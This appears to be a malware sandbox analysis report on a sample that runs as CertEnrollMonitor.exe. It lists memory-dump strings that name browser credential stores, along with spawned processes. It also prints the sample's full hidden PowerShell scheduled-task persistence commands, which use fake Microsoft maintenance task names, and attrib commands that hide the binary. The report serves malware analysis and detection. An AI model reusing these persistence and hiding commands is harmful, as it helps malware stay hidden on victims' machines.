"SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00007612.00000000.218318.25D20000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00007612.00000001.218345.25D20000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007644.00000000.214782.532F0000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00007644.00000000.214782.532F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007644.00000001.216704.532F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007644.00000002.218623.532F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{289af617-1cc3-42a6-926c-e6a863f0e3ba}\InProcServer32" in Source: 00000000-00007644.00000002.218623.532F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{35786d3c-b075-49b9-88dd-029876e11c01}\InProcServer32" in Source: 00000000-00007644.00000002.218623.532F0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSI-\Registry\Machine\Software\Classes\WOW6432Node\CLSIode\CLSI-\Registry\Machine\Software\Classes\WOW6432Node\CLSIode\CLSI-\Registry\Machine\Software\Classes\WOW6432Node\CLSI-\Registry\Machine\Software\Classes\WOW6432Node\CLSIode\CLSI-\Registry\Machine\Software\Classes\WOW6432Node\CLSIode\CLSI-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2" in Source: 00000000-00007644.00000002.218623.532F0000.00000004.mdmp "e\Software\C" in Source: 00000000-00007644.00000002.218623.532F0000.00000004.mdmp "Registry\Machine\Software\Classes\DelegateFolders" in Source: 00000000-00007644.00000002.218623.532F0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00007772.00000000.218904.A9F20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007916.00000000.216272.CE400000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007916.00000000.216272.CE400000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007916.00000000.216272.CE400000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007916.00000000.216272.CE400000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007916.00000000.216272.CE400000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007916.00000000.216272.E8990000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007916.00000001.216530.CE400000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00007916.00000001.216530.CE400000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00007916.00000001.216530.CE400000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007916.00000001.216530.E8990000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00007916.00000001.216530.E8990000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0000034E-0000-0000-C000-000000000046}" in Source: 00000000-00007916.00000001.216530.E8F9C000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00b" in Source: 00000000-00007916.00000001.216530.E908A000.00000004.mdmp "\Machine\Software\C_" in Source: 00000000-00007916.00000001.216530.E908A000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0" in Source: 00000000-00007916.00000001.216530.E90DB000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00007916.00000001.216530.E90DB000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-07" in Source: 00000000-00007916.00000001.216530.E90DB000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00007960.00000000.222110.E6890000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "%s\Opera Software\Opera Stable\Local State" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "$dsPath='HKLM:\SOFTWARE\Classes\CLSID\{860BB310-5D01-11d0-BD3B-00A0C911CE86}\Instance'" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "'[Schtask]';schtasks /query /fo list|Select-String TaskName|Select -First 10;'[Registry]';Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -EA SilentlyContinue|fl" in Source: 00000000-00008156.00000000.214735.CC294000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00008156.00000000.214735.F3CE0000.00000004.mdmp4e:T4117,"nul && powershell -NoP -W Hidden -C "$a=New-Sched ..." (UID: 00000000-00007368), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00006456), Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execu ..." (UID: 00000000-00007296) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\CertEnrollMonitor ..." (UID: 00000000-00001932), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00005860), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00006972), Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-Sched ..." (UID: 00000000-00005252) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00001184) Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execu ..." (UID: 00000000-00005376), Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00005976), Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\CertEnrollMonitor ..." (UID: 00000000-00006936) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004540) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00004552) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-Sched ..." (UID: 00000000-00007940), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007660), Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execu ..." (UID: 00000000-00007916) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00004168) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\Microsoft\\Creden ..." (UID: 00000000-00005100), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007440), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Credentials\\CertEnrollMoni ..." (UID: 00000000-00004380) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007004) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00005088) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007164)54:Ta7e,Spawned process "CertEnrollMonitor.exe" with commandline "--r" (UID: 00000000-00007644) Spawned process "CertEnrollMonitor.exe" with commandline "--wd 7644" (UID: 00000000-00003612) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-Sched ..." (UID: 00000000-00007368), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00006456), Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execu ..." (UID: 00000000-00007296) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\CertEnrollMonitor ..." (UID: 00000000-00001932), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00005860), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00006972), Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-Sched ..." (UID: 00000000-00005252) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00001184) Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execu ..." (UID: 00000000-00005376), Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00005976), Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\CertEnrollMonitor ..." (UID: 00000000-00006936) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004540) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\CertEnrollMonitor.exe"" (UID: 00000000-00004552) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-Sched ..." (UID: 00000000-00007940), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007660), Spawned process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execu ..." (UID: 00000000-00007916) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00004168) Spawned process "cmd.exe" with commandline "/c chcp 65001 >nul && attrib +h +s "%APPDATA%\\Microsoft\\Creden ..." (UID: 00000000-00005100), Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00007440), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Credentials\\CertEnrollMoni ..." (UID: 00000000-00004380) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007004) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00005088) Spawned process "CertEnrollMonitor.exe" (UID: 00000000-00007164)55:Ta60,file/memory contains long string with (Indicator: "Add-Type"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "New-Timespan"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "New-Timespan"; File: "AMSI") file/memory contains long string with (Indicator: "New-Timespan"; File: "cmd.exe") file/memory contains long string with (Indicator: "New-Timespan"; File: "powershell.exe") file/memory contains long string with (Indicator: "Add-Type"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "New-Timespan"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "Add-Type"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "New-Timespan"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "New-Timespan"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") file/memory contains long string with (Indicator: "New-Timespan"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.0E8D0000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E8D0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.29140000.00000004.mdmp") file/memory contains long string with (Indicator: "New-Timespan"; Source: "00000000-00005376.00000001.215842.0E580000.00000004.mdmp") Found string "(Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-Schedule" (Indicator: "New-Timespan"; Source: "00000000-00005376.00000001.215842.29140000.00000004.mdmp") Found string "$a=New-ScheduledTaskAction -Execute 'C:\Users\HAPUBWS\AppData\Roaming\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOn" (Indicator: "New-Timespan"; Source: "00000000-00005376.00000001.215842.29140000.00000004.mdmp")56:T21c0,file/memory contains long string with (Indicator: "Get-ScheduledTask"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "Register-ScheduledTask"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "Unregister-ScheduledTask"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; File: "44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin") file/memory contains long string with (Indicator: "Register-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; File: "AMSI") file/memory contains long string with (Indicator: "Get-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Unregister-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Disable-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Enable-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Export-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Get-ScheduledTaskInfo"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskPrincipal"; File: "AMSI") file/memory contains long string with (Indicator: "Set-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Start-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Stop-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Get-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Register-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Set-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Unregister-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Register-ScheduledTask"; File: "cmd.exe") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; File: "cmd.exe") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; File: "cmd.exe") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; File: "cmd.exe") file/memory contains long string with (Indicator: "Register-ScheduledTask"; File: "powershell.exe") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; File: "powershell.exe") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; File: "powershell.exe") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; File: "powershell.exe") file/memory contains long string with (Indicator: "Get-ScheduledTask"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "Register-ScheduledTask"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; Source: "00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp") file/memory contains long string with (Indicator: "Get-ScheduledTask"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "Register-ScheduledTask"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; Source: "00000000-00002920.00000000.218957.34CB4000.00000002.mdmp") file/memory contains long string with (Indicator: "Register-ScheduledTask"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp") file/memory contains long string with (Indicator: "Register-ScheduledTask"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.0E8D0000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E8D0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.29140000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.0E8D0000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E8D0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.29140000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.0E8D0000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E8D0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.29140000.00000004.mdmp") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; Source: "00000000-00005376.00000000.215589.0E580000.00000004.mdmp, 00000000-00005376.00000000.215589.0E8D0000.00000004.mdmp, 00000000-00005376.00000000.215589.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.0E580000.00000004.mdmp, 00000000-00005376.00000001.215842.0E8D0000.00000004.mdmp, 00000000-00005376.00000001.215842.28AB0000.00000004.mdmp, 00000000-00005376.00000001.215842.29140000.00000004.mdmp")57:T414,Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00007296) Process "powershell.exe" with commandline "powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s"" (UID: 00000000-00005376)58:T1124,"StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007296] "PerfDiagBroker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "WmiAdapterMgr.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "AudioDeviceHost.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "SearchProtocolMonitor.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "DefenderCoreRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "SecurityHealthSvc.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "StorageSyncService.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "GraphicsDeviceMgr.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "UpdateOrchestratorMonitor.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "FontProviderService.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "GraphicsDeviceBroker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "GraphicsDeviceMonitor.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "AppCompatibilityRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "CertEnrollService.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "DiagServiceSvc.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "TokenManagerRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "EventCollectorRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "DiagServiceWorker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "EventCollectorHost.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] 